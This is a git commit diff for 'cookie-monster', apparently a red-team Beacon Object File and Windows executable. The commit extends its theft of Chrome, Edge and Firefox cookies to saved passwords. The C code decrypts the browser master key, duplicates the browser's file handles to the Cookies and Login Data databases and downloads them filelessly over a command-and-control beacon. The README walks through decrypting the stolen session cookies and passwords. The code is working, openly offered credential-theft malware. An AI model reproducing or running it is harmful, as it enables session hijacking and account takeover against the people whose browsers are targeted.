refactored code, included Login Data file in BOF, decrypt scripts for Chrome/Edge Cookies/Login Data

This commit is contained in:
andrew-gomez
2023-11-21 14:22:45 -08:00
parent af5b250ae8
commit 43db26b4e6
9 changed files with 644 additions and 234 deletions
+4
View File
@@ -0,0 +1,4 @@
*.db
*.exe
*.o
*.json
-1
View File
@@ -1,7 +1,6 @@
all:
x86_64-w64-mingw32-gcc -c cookie-monster-bof.c -o cookie-monster-bof.o
x86_64-w64-mingw32-strip --strip-unneeded cookie-monster-bof.o
x86_64-w64-mingw32-gcc -c cookie-monster.c -o cookie-monster.exe -lshlwapi -lcrypt32
clean:
rm cookie-monster.o
rm cookie-monster.exe
+62 -12
View File
@@ -1,22 +1,27 @@
# cookie-monster
Steal browser cookies for edge, chrome and firefox through a BOF or exe!
Cookie-Monster will extract the WebKit master key, locate a browser process with a handle to the COOKIES file, copy the handle and then fileless download the COOKIES.
Cookie-Monster will extract the WebKit master key, locate a browser process with a handle to the Cookies and Login Data files, copy the handle(s) and then fileless download the target.
Once the Cookies/Login Data file(s) are downloaded, the python decryption script can help extract those secrets!
## BOF Usage
```
Usage: cookie-monster [ --chrome || --edge || --firefox || --chromepid <pid> || --edgepid <pid> ]
Usage: cookie-monster [ --chrome || --edge || --firefox || --chromeCookiePID <pid> || --chromeLoginDataPID <PID> || --edgeCookiePID <pid> || --edgeLoginDataPID <pid>]
cookie-monster Example:
cookie-monster --chrome
cookie-monster --edge
cookie-moster --firefox
cookie-monster --chromepid 1337
cookie-monster --edgepid 4444
cookie-monster --chromeCookiePID 1337
cookie-monster --chromeLoginDataPID 1337
cookie-monster --edgeCookiePID 4444
cookie-monster --edgeLoginDataPID 4444
cookie-monster Options:
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to Cookies/Login Data and then copies the file to the CWD
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to Cookies/Login Data and then copies the file to the CWD
--firefox, looks for profiles.ini and locates the key4.db and logins.json file
--chromepid, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and cookie file
--edgepid, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and cookie file
--chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
```
## EXE usage
@@ -26,10 +31,51 @@ Cookie Monster Example:
Cookie Monster Options:
-h, --help Show this help message and exit
--all Run chrome, edge, and firefox methods
--edge Extract edge keys and download cookies file to PWD
--chrome Extract chrome keys and download cookies file to PWD
--edge Extract edge keys and download Cookies/Login Data file to PWD
--chrome Extract chrome keys and download Cookies/Login Data file to PWD
--firefox Locate firefox key and Cookies, does not make a copy of either file
```
## Decryption Steps
Install requirements
```
pip3 install -r requirements.txt
```
Base64 encode the webkit masterkey
```
python3 base64-encode.py "\xec\xfc...."
```
Decrypt Cookies File
```
python .\decrypt.py "XHh..." --cookies ChromeCookie.db
Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22
Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22
```
Decrypt Passwords File
```
python .\decrypt.py "XHh..." --passwords ChromePasswords.db
Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty
```
## Installation
Ensure Mingw-w64 and make is installed on the linux prior to compiling.
```
@@ -41,11 +87,15 @@ to compile exe on windows
gcc .\cookie-monster.c -o cookie-monster.exe -lshlwapi -lcrypt32
```
### TO-DO
- update decryption for firefox
## References
This project could not have been done without the help of Mr-Un1k0d3r and his amazing seasonal videos!
Highly recommend checking out his lessons!!! <br>
Cookie Webkit Master Key Extractor:
https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF <br>
Fileless download:
https://github.com/fortra/nanodump
https://github.com/fortra/nanodump <br>
Decrypt Cookies and Login Data:
https://github.com/login-securite/DonPAPI
+14
View File
@@ -0,0 +1,14 @@
import sys
import base64
def main():
args = sys.argv[1:]
if len(args) != 1:
print("Usage: python base64-encode.py <key>")
sys.exit(1)
key = args[0]
base64_key = base64.b64encode(key.encode())
print(base64_key.decode())
if __name__ == "__main__":
main()
+86 -178
View File
@@ -9,17 +9,16 @@
#include "cookie-monster-bof.h"
#include "beacon.h"
CHAR *GetCookieFileContent(CHAR *path);
CHAR *GetFileContent(CHAR *path);
CHAR *ExtractKey(CHAR *buffer);
VOID GetMasterKey(CHAR *key);
VOID GetChromeKey();
VOID GetFirefoxInfo();
VOID GetEdgeKey();
CHAR *GetFirefoxFile(CHAR *file, CHAR* profile);
BOOL GetChromeDatabase(DWORD PID);
VOID GetChromePID();
BOOL GetEdgeDatabase(DWORD PID);
VOID GetEdgePID();
BOOL GetBrowserFile(DWORD PID, CHAR *browserFile, CHAR *filename);
WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID);
WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
@@ -37,13 +36,10 @@ WINBASEAPI HGLOBAL WINAPI KERNEL32$GlobalFree (HGLOBAL hMem);
WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID);
WINBASEAPI BOOL WINAPI KERNEL32$Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);
WINBASEAPI BOOL WINAPI KERNEL32$Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);
//WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentDirectoryA (DWORD nBufferLength, LPSTR lpBuffer);
WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess (VOID);
WINBASEAPI BOOL WINAPI KERNEL32$DuplicateHandle (HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwOptions);
WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
//WINBASEAPI BOOL WINAPI KERNEL32$WriteFile (HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
WINBASEAPI BOOL WINAPI CRYPT32$CryptStringToBinaryA (LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE *pbBinary, DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags);
//WINBASEAPI BOOL WINAPI CRYPT32$CryptStringToBinaryW (LPCWSTR pszString, DWORD cchString, DWORD dwFlags, BYTE *pbBinary, DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags);
WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE hModule, LPCSTR lpProcName);
WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR lpLibFileName);
WINBASEAPI DWORD WINAPI KERNEL32$SetFilePointer (HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
@@ -61,7 +57,6 @@ WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T
FARPROC time = Resolver("msvcrt", "time");\
FARPROC strnlen = Resolver("msvcrt", "strnlen");\
FARPROC rand = Resolver("msvcrt", "rand");
#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)
#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)
#define DATA_FREE(d, l) \
@@ -70,7 +65,6 @@ WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T
intFree(d); \
d = NULL; \
}
#define CSIDL_LOCAL_APPDATA 0x001c
#define CSIDL_APPDATA 0x001a
@@ -80,7 +74,7 @@ FARPROC Resolver(CHAR *lib, CHAR *func) {
return ptr;
}
CHAR *GetCookieFileContent(CHAR *path) {
CHAR *GetFileContent(CHAR *path) {
CHAR appdata[MAX_PATH];
HANDLE hFile = NULL;
IMPORT_RESOLVE;
@@ -117,7 +111,6 @@ CHAR *ExtractKey(CHAR *buffer) {
//look for pattern with key
CHAR pattern[] = "encrypted_key\":\"";
CHAR *start = MSVCRT$strstr(buffer, pattern);
CHAR *end = NULL;
CHAR *key = NULL;
DWORD dwSize = 0;
@@ -171,13 +164,12 @@ VOID GetMasterKey(CHAR *key) {
}
//BeaconPrintf(CALLBACK_OUTPUT, "Decrypted Key!");
// // return decrypted key
// return decrypted key
CHAR *output = (CHAR*)KERNEL32$GlobalAlloc(GPTR, (final.cbData * 4) + 1);
DWORD i = 0;
for(i = 0; i < final.cbData; i++) {
sprintf(output, "%s\\x%02x", output, final.pbData[i]);
}
BeaconPrintf(CALLBACK_OUTPUT,"Decrypt Key: %s \n", output );
// rewind to the start of the buffer
@@ -187,7 +179,7 @@ VOID GetMasterKey(CHAR *key) {
VOID GetChromeKey() {
//get chrome key
CHAR *data = GetCookieFileContent("\\Google\\Chrome\\User Data\\Local State");
CHAR *data = GetFileContent("\\Google\\Chrome\\User Data\\Local State");
CHAR *key = NULL;
if(data == NULL) {
@@ -202,14 +194,13 @@ VOID GetChromeKey() {
return;
}
//BeaconPrintf(CALLBACK_OUTPUT, "Got Chrome Key ");
GetMasterKey(key);
return;
}
VOID GetEdgeKey() {
//get edge key
CHAR *data = GetCookieFileContent("\\Microsoft\\Edge\\User Data\\Local State");
CHAR *data = GetFileContent("\\Microsoft\\Edge\\User Data\\Local State");
CHAR *key = NULL;
if(data == NULL) {
BeaconPrintf(CALLBACK_ERROR,"Reading the file failed.\n");
@@ -222,9 +213,7 @@ VOID GetEdgeKey() {
BeaconPrintf(CALLBACK_ERROR,"getting the key failed.\n");
return;
}
GetMasterKey(key);
}
CHAR *GetFirefoxFile(CHAR *file, CHAR* profile){
@@ -234,7 +223,6 @@ CHAR *GetFirefoxFile(CHAR *file, CHAR* profile){
// create temp var to hold profile
tempProfile = (CHAR*)KERNEL32$GlobalAlloc(GPTR, MSVCRT$strlen(profile) + 1);
MSVCRT$strncpy(tempProfile, profile, MSVCRT$strlen(profile)+1);
appdata = (CHAR*)KERNEL32$GlobalAlloc(GPTR, MAX_PATH + 1);
//get appdata local path and append path to file
@@ -274,7 +262,6 @@ VOID GetFirefoxInfo() {
dwSize = KERNEL32$GetFileSize(hFile, NULL);
buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwSize + 1);
KERNEL32$ReadFile(hFile, buffer, dwSize, &dwRead, NULL);
if(dwSize != dwRead) {
BeaconPrintf(CALLBACK_ERROR,"file size mismatch.\n");
}
@@ -284,7 +271,6 @@ VOID GetFirefoxInfo() {
CHAR pattern[] = "Default=Profiles/";
CHAR *start = MSVCRT$strstr(buffer, pattern);
CHAR *end = NULL;
if(start == NULL) {
return;
}
@@ -298,7 +284,6 @@ VOID GetFirefoxInfo() {
return ;
}
dwSize = end - start;
//BeaconPrintf(CALLBACK_OUTPUT, "Profile size is %d\n", dwSize);
//extract profile from file
@@ -327,8 +312,7 @@ VOID GetFirefoxInfo() {
KERNEL32$ReadFile(hFile, buffer, dwFileSize, &dwRead, NULL);
download_file(logins, buffer, dwFileSize);
KERNEL32$GlobalFree(buffer);
KERNEL32$CloseHandle(hFile);
KERNEL32$CloseHandle(hFile);
}
// get path to logins.json
@@ -359,6 +343,8 @@ VOID GetChromePID() {
HANDLE hSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
INT processCount = 0;
BOOL databaseStatus = FALSE;
BOOL passwordStatus = FALSE;
pe32.dwSize = sizeof(PROCESSENTRY32);
//iterate through each handle to find chrome.exe
if(KERNEL32$Process32First(hSnap, &pe32)) {
@@ -367,14 +353,17 @@ VOID GetChromePID() {
{
//chrome was found, get cookies database
processCount++;
if ( !GetChromeDatabase(pe32.th32ProcessID) ) {
BeaconPrintf(CALLBACK_OUTPUT, "PID Does not have handle to cookie");
if (databaseStatus == FALSE){
if (GetBrowserFile(pe32.th32ProcessID, "Cookies", "ChromeCookie.db")){
databaseStatus = TRUE;
}
}
else
{
BeaconPrintf(CALLBACK_OUTPUT, "COPIED COOKIES FROM PID: %d!", pe32.th32ProcessID);
return;
if (passwordStatus == FALSE){
if (GetBrowserFile(pe32.th32ProcessID, "Login Data", "ChromePasswords.db")){
passwordStatus = TRUE;
}
}
}
} while(KERNEL32$Process32Next(hSnap, &pe32));
}
@@ -383,30 +372,29 @@ VOID GetChromePID() {
if (processCount == 0) {
//check if file exists
BeaconPrintf(CALLBACK_OUTPUT,"chrome.exe not found on host\n");
CHAR *data = GetCookieFileContent("\\Google\\Chrome\\User Data\\Default\\Network\\Cookies");
CHAR *data = GetFileContent("\\Google\\Chrome\\User Data\\Default\\Network\\Cookies");
if(data == NULL) {
BeaconPrintf(CALLBACK_ERROR,"Chrome COOKIES not found on host\n");
return;
}
//save data to file
// HANDLE hFile = KERNEL32$CreateFileA("GoogleCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
// DWORD dwRead = 0;
// KERNEL32$WriteFile(hFile, data, MSVCRT$strlen(data), &dwRead, NULL);
// KERNEL32$CloseHandle(hFile);
download_file("ChromeCookie.db",data, sizeof(data));
KERNEL32$GlobalFree(data);
// print current directory to screen
// CHAR cwd[MAX_PATH];
// KERNEL32$GetCurrentDirectoryA(MAX_PATH, cwd);
// BeaconPrintf(CALLBACK_OUTPUT,"Chrome COOKIES saved to %s \n", cwd);
CHAR *passwordData = GetFileContent("\\Google\\Chrome\\User Data\\Login Data");
if(passwordData == NULL) {
BeaconPrintf(CALLBACK_ERROR,"Chrome LOGIN DATA not found on host\n");
return;
}
download_file("ChromePasswords.db",passwordData, sizeof(passwordData));
KERNEL32$GlobalFree(passwordData);
}
}
BOOL GetChromeDatabase(DWORD PID) {
BOOL GetBrowserFile(DWORD PID, CHAR *browserFile, CHAR *downloadFileName) {
BeaconPrintf(CALLBACK_OUTPUT,"chrome PID found %d\n", PID);
BeaconPrintf(CALLBACK_OUTPUT,"Browser PID found %d\n", PID);
BeaconPrintf(CALLBACK_OUTPUT,"Searching for handle to %s \n", browserFile);
SYSTEM_HANDLE_INFORMATION *shi = NULL;
DWORD dwNeeded = 0;
@@ -442,6 +430,14 @@ BOOL GetChromeDatabase(DWORD PID) {
return FALSE;
}
//when file does not exist on disk, error 87 thrown
if(KERNEL32$GetLastError() == 87) {
KERNEL32$SetLastError(0);
BeaconPrintf(CALLBACK_ERROR,"Wrong Function Call \n Skipping handle \n");
//KERNEL32$GlobalFree(shi);
continue;
}
FARPROC GetFinalPathNameByHandle = KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA("kernel32.dll"), "GetFinalPathNameByHandleA");
CHAR filename[256];
MSVCRT$memset(filename,0, 256);
@@ -460,7 +456,7 @@ BOOL GetChromeDatabase(DWORD PID) {
}
}
if(MSVCRT$strstr(filename, "Cookies") != NULL) {
if(MSVCRT$strstr(filename, browserFile) != NULL) {
//BeaconPrintf(CALLBACK_OUTPUT,"COOKIE WAS FOUND\n");
KERNEL32$SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);
DWORD dwFileSize = KERNEL32$GetFileSize(hDuplicate, NULL);
@@ -469,11 +465,7 @@ BOOL GetChromeDatabase(DWORD PID) {
CHAR *buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwFileSize);
KERNEL32$ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
// HANDLE hFile = KERNEL32$CreateFileA("ChromeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
// KERNEL32$WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
// KERNEL32$CloseHandle(hFile);
download_file("ChromeCookie.db",buffer, dwFileSize);
download_file(downloadFileName,buffer, dwFileSize);
KERNEL32$GlobalFree(buffer);
return TRUE;
@@ -484,7 +476,7 @@ BOOL GetChromeDatabase(DWORD PID) {
}
}
}
BeaconPrintf(CALLBACK_ERROR,"NO HANDLE TO COOKIE WAS FOUND \n");
BeaconPrintf(CALLBACK_ERROR,"NO HANDLE TO %s WAS FOUND \n", browserFile);
return FALSE;
}
@@ -493,6 +485,8 @@ VOID GetEdgePID() {
HANDLE hSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
INT processCount = 0;
BOOL databaseStatus = FALSE;
BOOL passwordStatus = FALSE;
pe32.dwSize = sizeof(PROCESSENTRY32);
//iterate through each handle to find chrome.exe
if(KERNEL32$Process32First(hSnap, &pe32)) {
@@ -502,16 +496,16 @@ VOID GetEdgePID() {
{
//edge was found, get cookies database
processCount++;
if ( !GetEdgeDatabase(pe32.th32ProcessID) ) {
BeaconPrintf(CALLBACK_OUTPUT, "PID %d Does not have handle to cookie", pe32.th32ProcessID);
if (databaseStatus == FALSE){
if (GetBrowserFile(pe32.th32ProcessID, "Cookies", "EdgeCookie.db")){
databaseStatus = TRUE;
}
}
else
{
BeaconPrintf(CALLBACK_OUTPUT, "COPIED COOKIES FROM PID: %d!", pe32.th32ProcessID);
return;
if (passwordStatus == FALSE){
if (GetBrowserFile(pe32.th32ProcessID, "Login Data", "EdgePasswords.db")){
passwordStatus = TRUE;
}
}
}
} while(KERNEL32$Process32Next(hSnap, &pe32));
}
@@ -520,122 +514,21 @@ VOID GetEdgePID() {
if (processCount == 0) {
//check if file exists
BeaconPrintf(CALLBACK_OUTPUT,"msedge.exe not found running on host\n Downloading cookies directly from \\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies ");
CHAR *data = GetCookieFileContent("\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies");
CHAR *data = GetFileContent("\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies");
if(data == NULL) {
BeaconPrintf(CALLBACK_ERROR,"Edge COOKIES not found on host\n");
return;
}
//save data to file
// HANDLE hFile = KERNEL32$CreateFileA("EdgeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
// DWORD dwRead = 0;
// KERNEL32$WriteFile(hFile, data, MSVCRT$strlen(data), &dwRead, NULL);
// KERNEL32$CloseHandle(hFile);
download_file("EdgeCookie.db",data, sizeof(data));
KERNEL32$GlobalFree(data);
// print current directory to screen
//CHAR cwd[MAX_PATH];
//KERNEL32$GetCurrentDirectoryA(MAX_PATH, cwd);
//BeaconPrintf(CALLBACK_OUTPUT,"Edge COOKIES saved to %s \n", cwd);
}
}
BOOL GetEdgeDatabase(DWORD PID) {
BeaconPrintf(CALLBACK_OUTPUT,"Edge PID found %d\n", PID);
//SYSTEM_HANDLE_INFORMATION *shi = NULL;
DWORD dwNeeded = 0;
DWORD dwSize = 0xffffff / 2;
PSYSTEM_HANDLE_INFORMATION shi;
shi = (SYSTEM_HANDLE_INFORMATION *)KERNEL32$GlobalAlloc(GPTR, dwSize);
//utilize NtQueryStemInformation to list all handles on system
NTSTATUS status;
status = NTDLL$NtQuerySystemInformation(SystemHandleInformation, shi, dwSize, &dwNeeded);
//BeaconPrintf(CALLBACK_OUTPUT,"Handle Count %d\n", shi->NumberOfHandles);
DWORD i = 0;
BOOL firstHandle = TRUE;
//iterate through each handle and find our PID and a handle to a file
for(i = 0; i < shi->NumberOfHandles; i++) {
//check if handle to file
if(shi->Handles[i].ObjectTypeNumber == HANDLE_TYPE_FILE) {
//check if handle is to our PID
if(shi->Handles[i].ProcessId == PID) {
//BeaconPrintf(CALLBACK_OUTPUT,"PID %d Flags %08x GrantAccess %08x object %p handle is %p\n", PID, shi->Handles[i].Flags, shi->Handles[i].GrantedAccess, shi->Handles[i].Object, (HANDLE)shi->Handles[i].Handle);
if( (shi->Handles[i].GrantedAccess != 0x001a019f || (shi->Handles[i].Flags != 0x00000002 && shi->Handles[i].GrantedAccess == 0x0012019f))) {
HANDLE hProc = KERNEL32$OpenProcess(PROCESS_DUP_HANDLE, FALSE, PID);
if(hProc == INVALID_HANDLE_VALUE) {
BeaconPrintf(CALLBACK_ERROR,"OpenProcess failed %d\n", KERNEL32$GetLastError());
KERNEL32$GlobalFree(shi);
return FALSE;
}
HANDLE hDuplicate = NULL;
if(!KERNEL32$DuplicateHandle(hProc, (HANDLE)shi->Handles[i].Handle, KERNEL32$GetCurrentProcess(), &hDuplicate, 0, TRUE, DUPLICATE_SAME_ACCESS)) {
BeaconPrintf(CALLBACK_ERROR,"DuplicateHandle failed %d\n", KERNEL32$GetLastError());
KERNEL32$GlobalFree(shi);
return FALSE;
}
//get last error
if(KERNEL32$GetLastError() == 87) {
KERNEL32$SetLastError(0);
BeaconPrintf(CALLBACK_ERROR,"Wrong Function Call \n Skipping handle \n");
//KERNEL32$GlobalFree(shi);
continue;
}
FARPROC GetFinalPathNameByHandle = KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA("kernel32.dll"), "GetFinalPathNameByHandleA");
CHAR filename[256];
MSVCRT$memset(filename,0, 256);
GetFinalPathNameByHandle(hDuplicate, filename, 256, FILE_NAME_NORMALIZED);
//BeaconPrintf(CALLBACK_OUTPUT,"%s\n", filename);
//BeaconPrintf(CALLBACK_OUTPUT,"Length of file name is %d\n", MSVCRT$strlen(filename));
if(firstHandle) {
DWORD dwFilenameSize = MSVCRT$strlen(filename);
CHAR *newFilename = filename + MSVCRT$strlen(filename) - MSVCRT$strlen("Application");
firstHandle = FALSE;
if(MSVCRT$strcmp(newFilename, "Application") == 0) {
//BeaconPrintf(CALLBACK_ERROR,"SKIPPING PID %d\n", PID);
KERNEL32$GlobalFree(shi);
return FALSE;
}
}
if(MSVCRT$strstr(filename, "Cookies") != NULL) {
//BeaconPrintf(CALLBACK_OUTPUT,"COOKIE WAS FOUND\n");
KERNEL32$SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);
DWORD dwFileSize = KERNEL32$GetFileSize(hDuplicate, NULL);
//BeaconPrintf(CALLBACK_OUTPUT,"file size is %d\n", dwFileSize);
DWORD dwRead = 0;
CHAR *buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwFileSize);
KERNEL32$ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
// HANDLE hFile = KERNEL32$CreateFileA("EdgeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
// KERNEL32$WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
//KERNEL32$CloseHandle(hFile);
download_file("EdgeCookie.db",buffer, dwFileSize);
KERNEL32$GlobalFree(buffer);
return TRUE;
}
KERNEL32$CloseHandle(hDuplicate);
}
}
CHAR *passwordData = GetFileContent("\\Microsoft\\Edge\\User Data\\Default\\Login Data");
if(passwordData == NULL) {
BeaconPrintf(CALLBACK_ERROR,"Edge LOGIN DATA not found on host\n");
return;
}
download_file("EdgePasswords.db",passwordData, sizeof(passwordData));
}
BeaconPrintf(CALLBACK_ERROR,"NO HANDLE TO COOKIE WAS FOUND \n");
return FALSE;
}
// nanodump fileless download
@@ -735,12 +628,13 @@ BOOL download_file( IN LPCSTR fileName, IN char fileData[], IN ULONG32 fileLengt
VOID go(char *buf, int len) {
//parse command line arguements
datap parser;
int chrome = 1;
int edge = 1;
int firefox = 1;
int chromePID = 1;
int edgePID = 1;
int chromeCookiesPID = 1;
int chromeLoginDataPID = 1;
int edgeCookiesPID = 1;
int edgeLoginDataPID = 1;
int pid = 1;
BeaconDataParse(&parser, buf, len);
@@ -748,8 +642,10 @@ VOID go(char *buf, int len) {
chrome = BeaconDataInt(&parser);
edge = BeaconDataInt(&parser);
firefox = BeaconDataInt(&parser);
chromePID = BeaconDataInt(&parser);
edgePID = BeaconDataInt(&parser);
chromeCookiesPID = BeaconDataInt(&parser);
chromeLoginDataPID = BeaconDataInt(&parser);
edgeCookiesPID = BeaconDataInt(&parser);
edgeLoginDataPID = BeaconDataInt(&parser);
pid = BeaconDataInt(&parser);
if (chrome == 0 ){
@@ -769,24 +665,36 @@ VOID go(char *buf, int len) {
GetFirefoxInfo();
return;
}
else if (chromePID == 0){
BeaconPrintf(CALLBACK_OUTPUT, "CHROMEPID SELECTED");
else if (chromeCookiesPID == 0){
BeaconPrintf(CALLBACK_OUTPUT, "CHROME Cookies SELECTED");
BeaconPrintf(CALLBACK_OUTPUT, "PID: %d", pid);
GetChromeKey();
//GetEdgePID();
GetChromeDatabase(pid);
GetBrowserFile(pid, "Cookies", "ChromeCookie.db");
return;
}
else if (edgePID == 0){
BeaconPrintf(CALLBACK_OUTPUT, "EDGEPID SELECTED");
else if (chromeLoginDataPID == 0){
BeaconPrintf(CALLBACK_OUTPUT, "CHROME Login Data SELECTED");
BeaconPrintf(CALLBACK_OUTPUT, "PID: %d", pid);
GetChromeKey();
GetBrowserFile(pid, "Login Data", "ChromePasswords.db");
return;
}
else if (edgeCookiesPID == 0){
BeaconPrintf(CALLBACK_OUTPUT, "EDGE Cookies SELECTED");
BeaconPrintf(CALLBACK_OUTPUT, "PID: %d", pid);
GetEdgeKey();
//GetEdgePID();
GetEdgeDatabase(pid);
GetBrowserFile(pid, "Cookies", "EdgeCookie.db");
return;
}
else if (edgeLoginDataPID == 0){
BeaconPrintf(CALLBACK_OUTPUT, "EDGE Login Data SELECTED");
BeaconPrintf(CALLBACK_OUTPUT, "PID: %d", pid);
GetEdgeKey();
GetBrowserFile(pid, "Login Data", "EdgePasswords.db");
return;
}
else{
BeaconPrintf(CALLBACK_ERROR,"NOTHING SELECTED");
return;
}
}
}
+271 -26
View File
@@ -15,10 +15,13 @@ VOID GetChromeKey();
VOID GetFirefoxInfo();
VOID GetEdgeKey();
CHAR *GetFirefoxFile(CHAR *file, CHAR* profile);
VOID GetChromeDatabase(DWORD PID);
BOOL GetChromeDatabase(DWORD PID);
VOID GetChromePID();
VOID GetEdgeDatabase(DWORD PID);
BOOL GetEdgeDatabase(DWORD PID);
VOID GetEdgePID();
BOOL GetChromePasswords(DWORD PID);
BOOL GetEdgePasswords(DWORD PID);
CHAR *GetCookieFileContent(CHAR *path) {
CHAR appdata[MAX_PATH];
@@ -277,6 +280,8 @@ VOID GetChromePID() {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
INT processCount = 0;
BOOL databaseStatus = FALSE;
BOOL passwordStatus = FALSE;
pe32.dwSize = sizeof(PROCESSENTRY32);
//iterate through each handle to find chrome.exe
if(Process32First(hSnap, &pe32)) {
@@ -285,7 +290,16 @@ VOID GetChromePID() {
{
//chrome was found, get cookies database
processCount++;
GetChromeDatabase(pe32.th32ProcessID);
if (databaseStatus == FALSE){
if (GetChromeDatabase(pe32.th32ProcessID)){
databaseStatus = TRUE;
}
}
if (passwordStatus == FALSE){
if (GetChromePasswords(pe32.th32ProcessID)){
passwordStatus = TRUE;
}
}
}
} while(Process32Next(hSnap, &pe32));
}
@@ -300,7 +314,7 @@ VOID GetChromePID() {
return;
}
//save data to file
HANDLE hFile = CreateFile("GoogleCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE hFile = CreateFile("ChromeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwRead = 0;
WriteFile(hFile, data, strlen(data), &dwRead, NULL);
CloseHandle(hFile);
@@ -309,10 +323,25 @@ VOID GetChromePID() {
CHAR cwd[MAX_PATH];
GetCurrentDirectory(MAX_PATH, cwd);
printf("Chrome COOKIES saved to %s \n", cwd);
CHAR *passwordData = GetCookieFileContent("\\Google\\Chrome\\User Data\\Login Data");
if(passwordData == NULL) {
printf("Chrome LOGIN DATA not found on host\n");
return;
}
//save data to file
HANDLE hFile2 = CreateFile("ChromePasswords.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwRead2 = 0;
WriteFile(hFile2, passwordData, strlen(passwordData), &dwRead2, NULL);
CloseHandle(hFile2);
GlobalFree(passwordData);
// print current directory to screen
GetCurrentDirectory(MAX_PATH, cwd);
printf("Chrome LOGIN DATA saved to %s \n", cwd);
}
}
VOID GetChromeDatabase(DWORD PID) {
BOOL GetChromeDatabase(DWORD PID) {
printf("chrome PID found %d\n", PID);
@@ -339,14 +368,14 @@ VOID GetChromeDatabase(DWORD PID) {
if(hProc == INVALID_HANDLE_VALUE) {
